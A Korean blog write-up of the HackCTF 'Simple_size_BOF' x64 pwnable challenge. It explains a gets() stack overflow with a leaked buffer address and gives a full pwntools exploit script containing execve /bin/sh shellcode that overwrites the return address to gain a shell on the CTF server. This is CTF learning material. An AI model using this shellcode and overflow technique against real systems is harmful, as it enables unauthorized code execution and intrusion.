미친해커

[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) 본문

Hacking/HackCTF

[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof)

미친해커 2021. 6. 19. 23:32
반응형

먼저 보호기법을 확인하자

보호 기법은 아무것도 안 걸려 있다. 어떤 공격을 시도해도 가능할 것 같다.

우선 함수를 살펴보면 v4의 사이즈가 엄청난걸 확인할 수 있다. 무려 27,952 (0x6D30) 바이트다. gets 함수에서 BOF가 발생하는데 그 전에 printf 함수에서 v4의 주소를 출럭해준다. 한번 실행을 해보자

v4의 주소를 출력해주고 입력을 받은 뒤 종료하는걸 볼 수 있다. v4의 주소를 알 수 있으니 shellcode를 넣고 ret 주소를 v4로 덮어쓰면 Shell이 따지면서 flag를 얻을 수 있을 것 같다. ASLR때문에 계속 stack의 주소가 바뀌지만 v4의 주소를 출력해주기때문에 문제 없다.

# file : Simple_size_bof.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3005)

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.recvuntil('buf: ')

buf = int(p.recv(18), 0)

payload = shellcode + 'A' * (0x6d38 - len(shellcode)) + p64(buf)

p.sendline(payload)
p.interactive()

exploit 코드에서 recvuntil은 특정 문자열이 나올때까지 문자를 받아서 반환하는 함수이고 recv는 지정된 갯수만큼 문자를 받아오는 함수이다.

반응형
Comments